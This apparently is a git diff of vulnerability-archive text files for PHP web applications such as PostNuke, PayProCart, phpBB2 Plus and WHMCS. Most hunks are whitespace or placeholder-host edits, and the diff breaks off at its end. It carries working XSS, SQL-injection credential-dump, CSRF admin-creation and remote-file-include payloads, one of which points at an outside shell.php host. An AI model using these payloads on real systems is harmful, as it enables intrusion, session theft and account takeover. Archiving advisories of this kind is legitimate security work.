@@ A remote cross-site scripting vulnerability affects PostNuke. This issue is due An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/admin.php?module=">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&op=main&POSTNUKESID=355776cfb622466924a7096d4471a480 \ No newline at end of file +http://www.example.com/admin.php?module=">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&op=main&POSTNUKESID=355776cfb622466924a7096d4471a480 \ No newline at end of file diff --git a/platforms/php/webapps/25368.txt b/platforms/php/webapps/25368.txt index 662960ade..cc684541c 100755 --- a/platforms/php/webapps/25368.txt +++ b/platforms/php/webapps/25368.txt @@ -4,4 +4,4 @@ A remote SQL Injection vulnerability affects PostNuke Phoenix. This issue is due An attacker may exploit this issue to manipulate SQL queries to the underlying database. This may facilitate theft sensitive information, potentially including authentication credentials, and data corruption. -http://localhost/modules.php?op=modload&name=News&file=article&sid='SQL_INJECTION&POSTNUKESID=355776cfb622466924a7096d4471a480 \ No newline at end of file +http://localhost/modules.php?op=modload&name=News&file=article&sid='SQL_INJECTION&POSTNUKESID=355776cfb622466924a7096d4471a480 \ No newline at end of file diff --git a/platforms/php/webapps/25372.txt b/platforms/php/webapps/25372.txt index 603f733ae..2ca4bd602 100755 --- a/platforms/php/webapps/25372.txt +++ b/platforms/php/webapps/25372.txt @@ -16,4 +16,4 @@ http://www.example.com/auciton_software/index.php?a=listings&mode=1&order=name&c http://www.example.com/auciton_software/index.php?a=listings&mode=1&order='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&cat= -http://www.example.com/auciton_software/index.php?a=myareas&area=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/auciton_software/index.php?a=myareas&area=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25373.txt b/platforms/php/webapps/25373.txt index 3bdc7617b..70502008c 100755 --- a/platforms/php/webapps/25373.txt +++ b/platforms/php/webapps/25373.txt @@ -10,4 +10,4 @@ The following specific issues were identified: AzDGDatingPlatinum 1.1.0 is reported vulnerable. Other versions may be affected as well. -http://www.example.com/[path]/view.php?l=default&id=3%3Cscript%3Ealert();%3C/script%3E \ No newline at end of file +http://www.example.com/[path]/view.php?l=default&id=3%3Cscript%3Ealert();%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25376.txt b/platforms/php/webapps/25376.txt index 9847fed30..a10675729 100755 --- a/platforms/php/webapps/25376.txt +++ b/platforms/php/webapps/25376.txt @@ -6,4 +6,4 @@ The problem presents itself specifically when an attacker passes the location of ModernBill 4.3 and prior versions are vulnerable to this issue. -http://www.example.com/samples/news.php?DIR=http://www.example.com/ \ No newline at end of file +http://www.example.com/samples/news.php?DIR=http://www.example.com/ \ No newline at end of file diff --git a/platforms/php/webapps/25377.txt b/platforms/php/webapps/25377.txt index c9b4a742a..06666f065 100755 --- a/platforms/php/webapps/25377.txt +++ b/platforms/php/webapps/25377.txt @@ -6,4 +6,4 @@ This issue is due to a failure in the application to properly sanitize user-supp ModernBill 4.3 and prior versions are vulnerable to this issue. -http://www.example.com/order/orderwiz.php?v=1&aid=&c_code=[XSS] \ No newline at end of file +http://www.example.com/order/orderwiz.php?v=1&aid=&c_code=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/25378.txt b/platforms/php/webapps/25378.txt index b69d918df..d745ed1aa 100755 --- a/platforms/php/webapps/25378.txt +++ b/platforms/php/webapps/25378.txt @@ -6,4 +6,4 @@ This issue is due to a failure in the application to properly sanitize user-supp ModernBill 4.3 and prior versions are vulnerable to this issue. -http://www.example.com/order/orderwiz.php?v=1&aid=[XSS] \ No newline at end of file +http://www.example.com/order/orderwiz.php?v=1&aid=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/25379.txt b/platforms/php/webapps/25379.txt index 5eaa8028b..312f25e94 100755 --- a/platforms/php/webapps/25379.txt +++ b/platforms/php/webapps/25379.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos This issue is reported to affect zOOm Media Gallery version 2.1.2; other versions may also be affected. -http://www.example.com/index.php?option=com_zoom&Itemid=39&catid=2+OR+1=1 \ No newline at end of file +http://www.example.com/index.php?option=com_zoom&Itemid=39&catid=2+OR+1=1 \ No newline at end of file diff --git a/platforms/php/webapps/25380.txt b/platforms/php/webapps/25380.txt index b2935a827..12e779c6d 100755 --- a/platforms/php/webapps/25380.txt +++ b/platforms/php/webapps/25380.txt @@ -4,4 +4,4 @@ Invision Power Board is reported prone to an SQL injection vulnerability. Due to Invision Power Board 1.3.1 and prior versions are affected by this issue. -http://www.example.com/forums/index.php?act=Members&max_results=30&filter=1&sort_order=asc&sort_key=name&st=SQL_INJECTION \ No newline at end of file +http://www.example.com/forums/index.php?act=Members&max_results=30&filter=1&sort_order=asc&sort_key=name&st=SQL_INJECTION \ No newline at end of file diff --git a/platforms/php/webapps/25381.txt b/platforms/php/webapps/25381.txt index a66461ca8..29e4e5511 100755 --- a/platforms/php/webapps/25381.txt +++ b/platforms/php/webapps/25381.txt @@ -7,4 +7,4 @@ Attacker-supplied HTML and script code would be able to access properties of the This issue is reported to affect WebCT Version 4.1; other versions may also be affected. </pre><table background=java&#x09;script:alert("XSS Warning")> -</table> \ No newline at end of file +</table> \ No newline at end of file diff --git a/platforms/php/webapps/25382.txt b/platforms/php/webapps/25382.txt index 0bd88bd85..056b15e37 100755 --- a/platforms/php/webapps/25382.txt +++ b/platforms/php/webapps/25382.txt @@ -15,4 +15,4 @@ NULL, NULL, NULL, NULL, NULL from admins where '1=1 and then: ' UNION SELECT NULL, pass, NULL, NULL, NULL, NULL, NULL, NULL, NULL, -NULL, NULL, NULL, NULL, NULL from admins where '1=1 \ No newline at end of file +NULL, NULL, NULL, NULL, NULL from admins where '1=1 \ No newline at end of file diff --git a/platforms/php/webapps/2539.txt b/platforms/php/webapps/2539.txt index 0be6d6245..7eff69d1f 100755 --- a/platforms/php/webapps/2539.txt +++ b/platforms/php/webapps/2539.txt @@ -34,7 +34,7 @@ Exploit: Variable $topdir not sanitized.When register_globals=on an attacker ca n exploit this vulnerability with a simple php injection script. -# http://www.server/[path]/genepi.php?topdir=[Evil_Script] +# http://www.site.com/[path]/genepi.php?topdir=[Evil_Script] --------------------------------------------------------------------------- Shoutz: diff --git a/platforms/php/webapps/25394.txt b/platforms/php/webapps/25394.txt index fe6651ba1..07cf862e5 100755 --- a/platforms/php/webapps/25394.txt +++ b/platforms/php/webapps/25394.txt @@ -4,4 +4,4 @@ Pinnacle Cart is affected by a cross-site scripting vulnerability because the ap An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/index.php?p=catalog&parent=12&pg="><script>alert(document.domain);</script> \ No newline at end of file +http://www.example.com/index.php?p=catalog&parent=12&pg="><script>alert(document.domain);</script> \ No newline at end of file diff --git a/platforms/php/webapps/25398.txt b/platforms/php/webapps/25398.txt index 8845efb01..c826f18c3 100755 --- a/platforms/php/webapps/25398.txt +++ b/platforms/php/webapps/25398.txt @@ -4,4 +4,4 @@ phpBB2 Plus is affected by a cross-site scripting vulnerability. This issue is d An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/groupcp.php?g=881&amp%3bsid='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/groupcp.php?g=881&amp%3bsid='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25399.txt b/platforms/php/webapps/25399.txt index ee9508c06..fe22d9304 100755 --- a/platforms/php/webapps/25399.txt +++ b/platforms/php/webapps/25399.txt @@ -8,4 +8,4 @@ These issues affect phpBB2 Plus version 1.52 and earlier. http://www.example.com/index.php?c=1&amp%3bsid='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/index.php?c='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&amp%3bsid=5e4b2554e73f8ca07f348b5f68c85217 -http://www.example.com/index.php?mark='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&amp%3bsid=5e4b2554e73f8ca07f348b5f68c85217 \ No newline at end of file +http://www.example.com/index.php?mark='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&amp%3bsid=5e4b2554e73f8ca07f348b5f68c85217 \ No newline at end of file diff --git a/platforms/php/webapps/2540.txt b/platforms/php/webapps/2540.txt index 6ee548f96..78e696752 100755 --- a/platforms/php/webapps/2540.txt +++ b/platforms/php/webapps/2540.txt @@ -26,7 +26,7 @@ # # # ExPloit : -# http://www.server/cdsagenda/modification/SendAlertEmail.php?AGE=http://sonic-banda-di-lamer.gay/shell.php? +# http://www.site.com/cdsagenda/modification/SendAlertEmail.php?AGE=http://sonic-banda-di-lamer.gay/shell.php? # # # diff --git a/platforms/php/webapps/25400.txt b/platforms/php/webapps/25400.txt index ea63b6764..57c335900 100755 --- a/platforms/php/webapps/25400.txt +++ b/platforms/php/webapps/25400.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to have arbitrary script code executed in These issues affect phpBB2 Plus version 1.52 and earlier. http://www.example.com/portal.php?article=0&amp%3bsid='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E -http://www.example.com/portal.php?article='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&amp%3bsid=2fb087b5e3c7098d0e48a76a9c67cf59 \ No newline at end of file +http://www.example.com/portal.php?article='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&amp%3bsid=2fb087b5e3c7098d0e48a76a9c67cf59 \ No newline at end of file diff --git a/platforms/php/webapps/25401.txt b/platforms/php/webapps/25401.txt index 3a21df0c3..f7ea9263e 100755 --- a/platforms/php/webapps/25401.txt +++ b/platforms/php/webapps/25401.txt @@ -4,4 +4,4 @@ phpBB2 Plus is affected by a cross-site scripting vulnerability. This issue is d An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/viewtopic.php?p=58834&amp%3bsid='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/viewtopic.php?p=58834&amp%3bsid='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25403.txt b/platforms/php/webapps/25403.txt index eb1116a3f..5e2045ea3 100755 --- a/platforms/php/webapps/25403.txt +++ b/platforms/php/webapps/25403.txt @@ -4,4 +4,4 @@ Photo Album is affected by a cross-site scripting vulnerability. This issue is d An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/album_cat.php?cat_id=5&amp%3bsid='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/album_cat.php?cat_id=5&amp%3bsid='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25404.txt b/platforms/php/webapps/25404.txt index 2d0ab89ad..02b8d7c2e 100755 --- a/platforms/php/webapps/25404.txt +++ b/platforms/php/webapps/25404.txt @@ -4,4 +4,4 @@ Photo Album is affected by a cross-site scripting vulnerability. This issue is d An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/album_comment.php?pic_id=224&amp%3bsid='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/album_comment.php?pic_id=224&amp%3bsid='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25409.txt b/platforms/php/webapps/25409.txt index 980b05689..bb7ca7647 100755 --- a/platforms/php/webapps/25409.txt +++ b/platforms/php/webapps/25409.txt @@ -16,7 +16,7 @@ Sql Injection: # Author : AtT4CKxT3rR0r1ST # Contact : F.Hack@w.cn # Script : http://www.ajaxavailabilitycalendar.com/ -# Admin Panel : www.server/ac-admin/ +# Admin Panel : www.site.com/ac-admin/ sub clear{ system(($^O eq 'MSWin32') ? 'cls' : 'clear'); } clear(); @@ -54,13 +54,13 @@ else{print "[-] Unable To Get The Information...\n"; Reflected XSS: ============== -www.server/?id_item='"--></style></script><script>alert(0x000581)</script> +www.site.com/?id_item='"--></style></script><script>alert(0x000581)</script> Full Path Disclosure: ==================== -www.server/ac-includes/common.inc.php +www.site.com/ac-includes/common.inc.php CSRF: @@ -68,7 +68,7 @@ CSRF: [Add Admin] ------------- -<form method="POST" name="form0" action="http://www.server/ac-admin/index.php?page=admin_users&action=new"> +<form method="POST" name="form0" action="http://www.site.com/ac-admin/index.php?page=admin_users&action=new"> <input type="hidden" name="add[username]" value="admin"/> <input type="hidden" name="password" value="Palestine"/> <input type="hidden" name="password2" value="Palestine"/> @@ -78,4 +78,4 @@ CSRF: </html> #################################################################### - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/25410.txt b/platforms/php/webapps/25410.txt index 908945077..c545ffa92 100755 --- a/platforms/php/webapps/25410.txt +++ b/platforms/php/webapps/25410.txt @@ -16,4 +16,4 @@ server/index.php?option=com_s5clanroster&view=s5clanroster&layout=category&task= server/index.php?option=com_s5clanroster&view=s5clanroster&layout=category&task=category&id=-null'+/*!50000UnIoN*/+/*!50000SeLeCt*/group_concat(username,0x3a,password),222+from+jos_users-- - #################################################################### - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/25423.txt b/platforms/php/webapps/25423.txt index 4d33e7c84..a6f684731 100755 --- a/platforms/php/webapps/25423.txt +++ b/platforms/php/webapps/25423.txt @@ -8,4 +8,4 @@ This issue is reported to affect sphpBlog version 0.4.0; earlier versions may al http://www.example.com/sphpblog/search.php?q=[XSS] http://www.example.com/sphpblog/search.php?q=%3Cmarquee%3Ewe+are+a+like%3C%2Fmarquee%3E -http://www.example.com/sphpblog/search.php?q=<a href=http://echo.or.id>echo</a> \ No newline at end of file +http://www.example.com/sphpblog/search.php?q=<a href=http://echo.or.id>echo</a> \ No newline at end of file diff --git a/platforms/php/webapps/25430.txt b/platforms/php/webapps/25430.txt index 3b0547abb..1a31e53c9 100755 --- a/platforms/php/webapps/25430.txt +++ b/platforms/php/webapps/25430.txt @@ -6,4 +6,4 @@ A remote attacker may exploit this vulnerability to influence or misrepresent ho This issue is reported to affect PHP-Nuke version 7.6; earlier versions may also be vulnerable. -http://www.example.com/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO AM VULNERABLE TO HTTP RESPONSE SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5 \ No newline at end of file +http://www.example.com/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO AM VULNERABLE TO HTTP RESPONSE SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5 \ No newline at end of file diff --git a/platforms/php/webapps/25432.txt b/platforms/php/webapps/25432.txt index 80139b284..61f37ee8d 100755 --- a/platforms/php/webapps/25432.txt +++ b/platforms/php/webapps/25432.txt @@ -4,4 +4,4 @@ A remote SQL injection vulnerability affects the datenbank module for phpbb. Thi An attacker may exploit this issue to manipulate SQL queries to the underlying database. This may facilitate theft sensitive information, potentially including authentication credentials, and data corruption. -http://www.example.com/phpBB/moddb/mod.php?id='[SQL Injection] \ No newline at end of file +http://www.example.com/phpBB/moddb/mod.php?id='[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/25433.txt b/platforms/php/webapps/25433.txt index 1d2d7672a..944f07357 100755 --- a/platforms/php/webapps/25433.txt +++ b/platforms/php/webapps/25433.txt @@ -4,4 +4,4 @@ A remote cross-site scripting vulnerability affects the datenbank module for php An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/phpBB/moddb/mod.php?id='>&lt;script&gt;alert(document.cookie)&lt;/script&gt; \ No newline at end of file +http://www.example.com/phpBB/moddb/mod.php?id='>&lt;script&gt;alert(document.cookie)&lt;/script&gt; \ No newline at end of file diff --git a/platforms/php/webapps/25437.txt b/platforms/php/webapps/25437.txt index 24fbde39c..92a61c636 100755 --- a/platforms/php/webapps/25437.txt +++ b/platforms/php/webapps/25437.txt @@ -4,4 +4,4 @@ eGroupWare is prone to multiple input validation vulnerabilities. A fixed versio The issues arise due to a failure of the application to properly validate user-supplied input. These issues result in cross-site scripting and SQL injection attacks. -http://egroupware/index.php?menuaction=preferences.uicategories.index&cats_app=foobar[SQL] \ No newline at end of file +http://egroupware/index.php?menuaction=preferences.uicategories.index&cats_app=foobar[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/25438.txt b/platforms/php/webapps/25438.txt index d73a0d84b..c061983be 100755 --- a/platforms/php/webapps/25438.txt +++ b/platforms/php/webapps/25438.txt @@ -4,4 +4,4 @@ mvnForum is prone to a cross-site scripting vulnerability. This issue is due to An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/mvnforum/Search="><script>alert('XSS found here')</script> \ No newline at end of file +http://www.example.com/mvnforum/Search="><script>alert('XSS found here')</script> \ No newline at end of file diff --git a/platforms/php/webapps/25442.txt b/platforms/php/webapps/25442.txt index 6fa6fb0d5..7f2232949 100755 --- a/platforms/php/webapps/25442.txt +++ b/platforms/php/webapps/25442.txt @@ -67,7 +67,7 @@ To Dump Administrator Credentials (user & pass): - http://www.server/whmcs/dl.php?type=i&id=1 and 0x0=0x1 union select 1,2,3,4,CONCAT(username,0x3a3a3a,password),6,7 from tbladmins -- + http://www.site.com/whmcs/dl.php?type=i&id=1 and 0x0=0x1 union select 1,2,3,4,CONCAT(username,0x3a3a3a,password),6,7 from tbladmins -- ~ Result: The Browser will prompt download for the pdf invoice file after opening it you should find the username and pw hash there :) diff --git a/platforms/php/webapps/25451.txt b/platforms/php/webapps/25451.txt index 1ca0b5bbf..15c4be78b 100755 --- a/platforms/php/webapps/25451.txt +++ b/platforms/php/webapps/25451.txt @@ -4,4 +4,4 @@ Knowledge Base Module is affected by an SQL injection vulnerability. This issue Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/kb.php?mode=cat&cat=0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users+WHERE+1=0 \ No newline at end of file +http://www.example.com/kb.php?mode=cat&cat=0+UNION+SELECT+0,0,0,0,0,0+FROM+phpbb_users+WHERE+1=0 \ No newline at end of file diff --git a/platforms/php/webapps/25458.txt b/platforms/php/webapps/25458.txt index a4a549e13..11cdb9351 100755 --- a/platforms/php/webapps/25458.txt +++ b/platforms/php/webapps/25458.txt @@ -4,4 +4,4 @@ CityPost PHP LNKX is affected by a cross-site scripting vulnerability. This issu An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/lnkx/message.php?msg=[XSS] \ No newline at end of file +http://www.example.com/lnkx/message.php?msg=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/25459.txt b/platforms/php/webapps/25459.txt index 83bc5a286..53bb2d936 100755 --- a/platforms/php/webapps/25459.txt +++ b/platforms/php/webapps/25459.txt @@ -8,4 +8,4 @@ CityPost Image Cropper/Resizer is affected by a cross-site scripting vulnerabili An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/image-editor-52/?m1=[XSS]&m2=[XSS]&m3=[XSS]&imgsrc=[XSS]&m4=[XSS] \ No newline at end of file +http://www.example.com/image-editor-52/?m1=[XSS]&m2=[XSS]&m3=[XSS]&imgsrc=[XSS]&m4=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/25464.txt b/platforms/php/webapps/25464.txt index 1063b7e4e..fd1eaa6ee 100755 --- a/platforms/php/webapps/25464.txt +++ b/platforms/php/webapps/25464.txt @@ -4,4 +4,4 @@ CityPost Simple PHP Upload is affected by a cross-site scripting vulnerability. An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/simple-upload-53.php?message=[XSS] \ No newline at end of file +http://www.example.com/simple-upload-53.php?message=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/25467.txt b/platforms/php/webapps/25467.txt index 146ec1d74..8fa4e7b1b 100755 --- a/platforms/php/webapps/25467.txt +++ b/platforms/php/webapps/25467.txt @@ -4,4 +4,4 @@ A remote PHP script injection vulnerability affects Netref. This issue is due to An attacker may leverage this issue to execute arbitrary PHP script code in the context of an affected Web server. This will facilitate a compromise of the host computer. -http://www.yourdomain.com/[netref_folder]/script/cat_for_gen.php?ad=1&ad_direct=../&m_for_racine=</option></SELECT><?php system($command);include($remote_script)?> \ No newline at end of file +http://www.yourdomain.com/[netref_folder]/script/cat_for_gen.php?ad=1&ad_direct=../&m_for_racine=</option></SELECT><?php system($command);include($remote_script)?> \ No newline at end of file diff --git a/platforms/php/webapps/25468.txt b/platforms/php/webapps/25468.txt index b62c9581e..a5fd8b4c0 100755 --- a/platforms/php/webapps/25468.txt +++ b/platforms/php/webapps/25468.txt @@ -4,4 +4,4 @@ PHP Labs proFile is prone to a cross-site scripting vulnerability. As a result, Exploitation could allow theft of cookie-based authentication credentials or other attacks. -http://www.example.com/index.php?act=load&dir=[XSS] \ No newline at end of file +http://www.example.com/index.php?act=load&dir=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/25469.txt b/platforms/php/webapps/25469.txt index fbbfeae37..21f7009dc 100755 --- a/platforms/php/webapps/25469.txt +++ b/platforms/php/webapps/25469.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos http://www.example.com/products/calendar/demo/admin/?Admin_ID=Admin' UNION ALL SELECT id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,i d,id FROM settings WHERE -Admin_id='Admin&Password=1 \ No newline at end of file +Admin_id='Admin&Password=1 \ No newline at end of file diff --git a/platforms/php/webapps/25473.txt b/platforms/php/webapps/25473.txt index 2a9b894a8..4996a6083 100755 --- a/platforms/php/webapps/25473.txt +++ b/platforms/php/webapps/25473.txt @@ -6,4 +6,4 @@ Exploitation could allow theft of cookie-based authentication credentials or oth http://www.example.com/index.php?act=delete&dir=&file=[XSS] http://www.example.com/index.php?act=copy&dir=&file=[XSS] -http://www.example.com/index.php?act=rename&dir=&file=[XSS] \ No newline at end of file +http://www.example.com/index.php?act=rename&dir=&file=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/25474.txt b/platforms/php/webapps/25474.txt index cf95baf35..e48d1350a 100755 --- a/platforms/php/webapps/25474.txt +++ b/platforms/php/webapps/25474.txt @@ -4,4 +4,4 @@ phpbb-auction module is prone to an SQL injection vulnerability. This issue is d Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/auction_rating.php?mode=view&u=' \ No newline at end of file +http://www.example.com/auction_rating.php?mode=view&u=' \ No newline at end of file diff --git a/platforms/php/webapps/25475.txt b/platforms/php/webapps/25475.txt index dc95966d4..71fd17f1b 100755 --- a/platforms/php/webapps/25475.txt +++ b/platforms/php/webapps/25475.txt @@ -4,4 +4,4 @@ phpbb-auction module is prone to an SQL injection vulnerability. This issue is d Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/auction_offer.php?mode=add&ar=' \ No newline at end of file +http://www.example.com/auction_offer.php?mode=add&ar=' \ No newline at end of file diff --git a/platforms/php/webapps/25488.txt b/platforms/php/webapps/25488.txt index cd99a9542..95d50db91 100755 --- a/platforms/php/webapps/25488.txt +++ b/platforms/php/webapps/25488.txt @@ -4,4 +4,4 @@ PayProCart is prone to a cross-site scripting vulnerability. This issue is due t An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/path_to_store/index.php?modID=usrauthlogin&sgnuptype=csaleID&username=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&errorMsgNum=301 \ No newline at end of file +http://www.example.com/path_to_store/index.php?modID=usrauthlogin&sgnuptype=csaleID&username=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&errorMsgNum=301 \ No newline at end of file diff --git a/platforms/php/webapps/25489.txt b/platforms/php/webapps/25489.txt index 88670d37b..c826c54b3 100755 --- a/platforms/php/webapps/25489.txt +++ b/platforms/php/webapps/25489.txt @@ -4,4 +4,4 @@ PayProCart is prone to a cross-site scripting vulnerability. This issue is due t An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/path_to_store/cart.php?chckoutaction=1&ckprvd=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/path_to_store/cart.php?chckoutaction=1&ckprvd=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25490.txt b/platforms/php/webapps/25490.txt index a5acaff69..791924811 100755 --- a/platforms/php/webapps/25490.txt +++ b/platforms/php/webapps/25490.txt @@ -4,4 +4,4 @@ PayProCart is prone to a cross-site scripting vulnerability. This issue is due t An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/path_to_store/adminshop/index.php?hdoc=index%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/path_to_store/adminshop/index.php?hdoc=index%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25491.txt b/platforms/php/webapps/25491.txt index d45eb1798..fe6918a11 100755 --- a/platforms/php/webapps/25491.txt +++ b/platforms/php/webapps/25491.txt @@ -4,4 +4,4 @@ PayProCart is prone to a cross-site scripting vulnerability. This issue is due t An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/path_to_store/adminshop/index.php?modID=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/path_to_store/adminshop/index.php?modID=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25492.txt b/platforms/php/webapps/25492.txt index 2b887be89..7ec4ebd2e 100755 --- a/platforms/php/webapps/25492.txt +++ b/platforms/php/webapps/25492.txt @@ -4,4 +4,4 @@ PayProCart is prone to a cross-site scripting vulnerability. This issue is due t An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/path_to-store/adminshop/index.php?taskID=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/path_to-store/adminshop/index.php?taskID=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25494.txt b/platforms/php/webapps/25494.txt index 5dca657e5..19593cdba 100755 --- a/platforms/php/webapps/25494.txt +++ b/platforms/php/webapps/25494.txt @@ -4,4 +4,4 @@ PayProCart is prone to a cross-site scripting vulnerability. This issue is due t An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/path_to_store/adminshop/index.php?proMod=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/path_to_store/adminshop/index.php?proMod=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25495.txt b/platforms/php/webapps/25495.txt index 1a816f97d..0b6ffcc65 100755 --- a/platforms/php/webapps/25495.txt +++ b/platforms/php/webapps/25495.txt @@ -4,4 +4,4 @@ PayProCart is prone to a cross-site scripting vulnerability. This issue is due t An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/path_to_store/adminshop/mmailer/index.php?mmactionComm=mmShowMailingLists%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/path_to_store/adminshop/mmailer/index.php?mmactionComm=mmShowMailingLists%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25503.txt b/platforms/php/webapps/25503.txt index 6690b74d7..86b0a1969 100755 --- a/platforms/php/webapps/25503.txt +++ b/platforms/php/webapps/25503.txt @@ -4,4 +4,4 @@ WoltLab Burning Board is prone to a cross-site scripting vulnerability because t An attacker may leverage this issue to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/thread.php?threadid=[Topic_ID]&hilight=[XSS] \ No newline at end of file +http://www.example.com/thread.php?threadid=[Topic_ID]&hilight=[XSS] \ No newline at end of file diff --git 